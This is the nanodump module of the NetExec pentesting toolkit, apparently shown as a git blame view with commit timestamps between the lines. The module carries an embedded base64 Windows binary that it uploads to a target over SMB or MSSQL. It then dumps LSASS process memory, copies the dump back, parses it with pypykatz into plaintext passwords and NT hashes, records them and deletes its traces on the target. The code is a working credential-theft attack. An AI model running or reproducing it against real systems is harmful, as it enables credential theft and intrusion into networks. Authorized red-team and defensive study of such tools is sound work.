NetExec/nxc/modules/nanodump.py

262 lines
218 KiB
Python
Raw Normal View History

# nanodump module for nxc python3
2021-11-14 12:15:42 +00:00
# author of the module : github.com/mpgn
# nanodump: https://github.com/helpsystems/nanodump
import os
2021-11-14 12:15:42 +00:00
import base64
import sys
2023-10-12 09:35:31 +00:00
from pypykatz.pypykatz import pypykatz
import tempfile
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
2022-06-17 17:15:24 +00:00
2021-11-14 12:15:42 +00:00
class NXCModule:
2023-04-06 00:42:51 +00:00
name = "nanodump"
2021-11-14 12:15:42 +00:00
description = "Get lsass dump using nanodump and parse the result with pypykatz"
2023-04-06 00:42:51 +00:00
supported_protocols = ["smb", "mssql"]
opsec_safe = False
2021-11-14 12:15:42 +00:00
multiple_hosts = True
2023-05-02 15:17:59 +00:00
2023-04-06 00:42:51 +00:00
def __init__(self, context=None, module_options=None):
self.connection = None
2023-04-06 00:42:51 +00:00
self.dir_result = None
self.remote_tmp_dir = None
2023-04-06 00:42:51 +00:00
self.useembeded = None
self.nano = None
self.nano_path = None
self.nano_embedded64 = None
self.tmp_share = None
self.share = None
self.context = context
self.module_options = module_options
2021-11-14 12:15:42 +00:00
def options(self, context, module_options):
r"""
2023-04-06 00:42:51 +00:00
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
NANO_PATH Path where nano.exe is on your system (default: OS temp directory)
2023-04-06 00:42:51 +00:00
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
2021-11-14 12:15:42 +00:00
self.share = "C$"
self.tmp_share = self.remote_tmp_dir.split(":")[1]
2023-05-02 15:17:59 +00:00
self.nano_embedded64 = base64.b64decode(
"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAA6wW4AQAAAMnDVYnlg+w4x0XgMAAAAItF4GSLAIlF3ItF3IlF8ItF8ItADIlF7ItF7IPAFIlF6ItF7ItAFIlF9OtCi0X0i0AQOUUIdCuLRfSLQBDHRCQIAAAAAItVDIlUJASJBCTohwEAAIlF5IN95AB0CItF5OsZkOsBkItF9IsAiUX0i0X0O0Xodba4AAAAAMnDVYnlV1OB7DADAADHRCQELgAAAItFDIkEJOiT0QAAg8ABiUX0i0X0i1UMKdCJRfDHheP+//8AAAAAjYXn/v//uQEBAAC7AAAAAIkYiVwI/I1QBIPi/CnQAcGD4fzB6QKJ14nY86uLRfCJRCQIi0UMiUQkBI2F4/7//4kEJOgo0QAAjYXj/v//iQQk6ArRAACJwo2F4/7//wHQxwBkbGwAjYXa/P//uQgCAAC7AAAAAIkYiVwI/I1QBIPi/CnQAcGD4fzB6QKJ14nY86vHRCQIBAEAAI2F4/7//4lEJASNhdr8//+JBCTobtAAAMdEJAQAAAAAjYXa/P//iQQk6NgBAACJReyDfewAdSKLRfSJBCToCyUAAIlEJASLRQiJBCToUv7//4lF6ItF6Osoi0X0iQQk6OkkAA
)
2021-11-14 12:15:42 +00:00
self.nano = "nano.exe"
2022-06-03 13:55:29 +00:00
self.nano_path = ""
2021-11-14 12:15:42 +00:00
self.useembeded = True
if "NANO_PATH" in module_options:
self.nano_path = module_options["NANO_PATH"]
2021-11-14 12:15:42 +00:00
self.useembeded = False
2022-06-03 13:55:29 +00:00
else:
self.nano_path = f"{tempfile.gettempdir()}"
2022-06-03 13:55:29 +00:00
self.dir_result = self.nano_path
2021-11-14 12:15:42 +00:00
if "NANO_EXE_NAME" in module_options:
self.nano = module_options["NANO_EXE_NAME"]
2021-11-14 12:15:42 +00:00
self.useembeded = False
if "TMP_DIR" in module_options:
self.remote_tmp_dir = module_options["TMP_DIR"]
2021-11-14 12:15:42 +00:00
if "DIR_RESULT" in module_options:
self.dir_result = module_options["DIR_RESULT"]
2021-11-14 12:15:42 +00:00
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
2023-04-06 00:42:51 +00:00
if self.useembeded:
2023-10-12 09:35:31 +00:00
with open(os.path.join(self.nano_path, self.nano), "wb") as nano:
if self.connection.os_arch == 32 and self.context.protocol == "smb":
self.context.log.display("32-bit Windows detected.")
2022-06-03 14:01:02 +00:00
nano.write(self.nano_embedded32)
elif self.connection.os_arch == 64 and self.context.protocol == "smb":
self.context.log.display("64-bit Windows detected.")
2022-06-03 14:01:02 +00:00
nano.write(self.nano_embedded64)
elif self.context.protocol == "mssql":
2022-10-10 20:22:09 +00:00
nano.write(self.nano_embedded64)
2022-06-03 13:55:29 +00:00
else:
self.context.log.fail("Unsupported Windows architecture")
2022-06-03 13:55:29 +00:00
sys.exit(1)
2023-05-02 15:17:59 +00:00
if self.context.protocol == "smb":
2023-10-12 09:35:31 +00:00
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
2022-06-29 11:44:56 +00:00
try:
2023-05-08 18:39:36 +00:00
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
2022-06-29 11:44:56 +00:00
except Exception as e:
2023-05-08 18:39:36 +00:00
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
2022-06-29 11:44:56 +00:00
else:
2023-10-12 09:35:31 +00:00
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
2022-06-29 11:44:56 +00:00
try:
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
exec_method = MSSQLEXEC(self.connection.conn)
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
2022-06-29 11:44:56 +00:00
else:
2023-05-08 18:39:36 +00:00
self.context.log.fail("File does not exist on the remote system... error during upload")
2022-06-29 11:44:56 +00:00
sys.exit(1)
except Exception as e:
self.context.log.fail(f"Error writing file to remote machine directory {self.remote_tmp_dir}: {e}")
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
# execution fails, which it doesn't
display_output = self.context.protocol == "smb"
self.context.log.debug(f"Display Output: {display_output}")
# get LSASS PID via `tasklist`
2023-05-02 15:17:59 +00:00
command = 'tasklist /v /fo csv | findstr /i "lsass"'
self.context.log.display(f"Getting LSASS PID via command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"tasklist Command Result: {p}")
if len(p) == 1:
p = p[0]
if not p or p == "None":
2023-09-20 15:59:16 +00:00
self.context.log.fail("Failed to execute command to get LSASS PID")
return
pid = p.split(",")[1][1:-1]
self.context.log.debug(f"pid: {pid}")
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
2023-04-06 00:42:51 +00:00
nano_log_name = f"{timestamp}.log"
command = f"{self.remote_tmp_dir}{self.nano} --pid {pid} --write {self.remote_tmp_dir}{nano_log_name}"
self.context.log.display(f"Executing command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"NanoDump Command Result: {p}")
if not p or p == "None":
2023-09-20 15:59:16 +00:00
self.context.log.fail("Failed to execute command to execute NanoDump")
self.delete_nanodump_binary()
return
# results returned are different between SMB and MSSQL
full_results = " ".join(p) if self.context.protocol == "mssql" else p
if "Done" in full_results:
self.context.log.success("Process lsass.exe was successfully dumped")
2021-11-14 12:15:42 +00:00
dump = True
else:
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
dump = False
2022-06-17 17:15:24 +00:00
if dump:
self.context.log.display(f"Copying {nano_log_name} to host")
2023-10-16 16:48:15 +00:00
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
2022-06-29 11:44:56 +00:00
try:
2023-05-08 18:39:36 +00:00
self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
2022-06-29 11:44:56 +00:00
except Exception as e:
self.context.log.fail(f"Error while getting file: {e}")
2022-06-29 11:44:56 +00:00
try:
2023-05-08 18:39:36 +00:00
self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
self.context.log.success(f"Deleted nano file on the {self.share} share")
2022-06-29 11:44:56 +00:00
except Exception as e:
2023-05-08 18:39:36 +00:00
self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
2022-06-29 11:44:56 +00:00
2021-11-14 12:15:42 +00:00
try:
2023-05-08 18:39:36 +00:00
self.connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
self.context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
2022-06-29 11:44:56 +00:00
except Exception as e:
2023-05-08 18:39:36 +00:00
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
2022-06-29 11:44:56 +00:00
else:
try:
exec_method = MSSQLEXEC(self.connection.conn)
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
2023-05-08 18:39:36 +00:00
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
2021-11-14 12:15:42 +00:00
except Exception as e:
self.context.log.fail(f"Error while getting file: {e}")
2021-11-14 12:15:42 +00:00
self.delete_nanodump_binary()
2022-06-29 11:44:56 +00:00
try:
self.connection.execute(f"del {self.remote_tmp_dir + nano_log_name}")
self.context.log.success(f"Deleted lsass.dmp file on the {self.remote_tmp_dir} dir")
2022-06-29 11:44:56 +00:00
except Exception as e:
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.remote_tmp_dir}: {e}")
2021-11-14 12:15:42 +00:00
with open(filename, "r+b") as fh: # needs the "r+b", not "rb" like below
2023-10-14 21:53:01 +00:00
fh.seek(0)
fh.write(b"\x4d\x44\x4d\x50")
fh.seek(4)
fh.write(b"\xa7\x93")
fh.seek(6)
fh.write(b"\x00\x00")
2023-05-02 15:17:59 +00:00
with open(filename, "rb") as dump:
2022-02-23 20:09:19 +00:00
try:
2023-04-06 00:42:51 +00:00
bh_creds = []
try:
pypy_parse = pypykatz.parse_minidump_external(dump)
except Exception as e:
pypy_parse = None
self.context.log.fail(f"Error parsing minidump: {e}")
2022-02-23 20:09:19 +00:00
2023-04-06 00:42:51 +00:00
ssps = [
"msv_creds",
"wdigest_creds",
"ssp_creds",
"livessp_creds",
"kerberos_creds",
"credman_creds",
2023-05-02 15:17:59 +00:00
"tspkg_creds",
2023-04-06 00:42:51 +00:00
]
2022-02-23 20:09:19 +00:00
for luid in pypy_parse.logon_sessions:
for ssp in ssps:
2023-05-08 18:39:36 +00:00
for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []):
2022-02-23 20:09:19 +00:00
domain = getattr(cred, "domainname", None)
username = getattr(cred, "username", None)
password = getattr(cred, "password", None)
NThash = getattr(cred, "NThash", None)
if NThash is not None:
NThash = NThash.hex()
2023-05-08 18:39:36 +00:00
if username and (password or NThash) and "$" not in username:
2022-06-23 23:04:39 +00:00
if password:
credtype = "password"
credential = password
else:
credtype = "hash"
credential = NThash
2023-05-08 18:39:36 +00:00
self.context.log.highlight(f"{domain}\\{username}:{credential}")
host_id = self.context.db.get_hosts(self.connection.host)[0][0]
self.context.db.add_credential(
2023-04-06 00:42:51 +00:00
credtype,
connection.domain,
username,
credential,
2023-05-02 15:17:59 +00:00
pillaged_from=host_id,
2023-04-06 00:42:51 +00:00
)
2023-05-08 18:39:36 +00:00
if "." not in domain and domain.upper() in self.connection.domain.upper():
domain = self.connection.domain
2023-05-02 15:17:59 +00:00
bh_creds.append(
{
"username": username.upper(),
"domain": domain.upper(),
}
)
2023-04-06 00:42:51 +00:00
if len(bh_creds) > 0:
2023-05-08 18:39:36 +00:00
add_user_bh(bh_creds, None, self.context.log, self.connection.config)
2022-02-23 20:09:19 +00:00
except Exception as e:
self.context.log.fail(f"Error opening dump file: {e}")
def delete_nanodump_binary(self):
try:
self.connection.execute(f"del {self.remote_tmp_dir + self.nano}")
self.context.log.success(f"Deleted nano file on the {self.share} dir")
except Exception as e:
self.context.log.fail(f"[OPSEC] Error deleting nano file on dir {self.remote_tmp_dir}: {e}")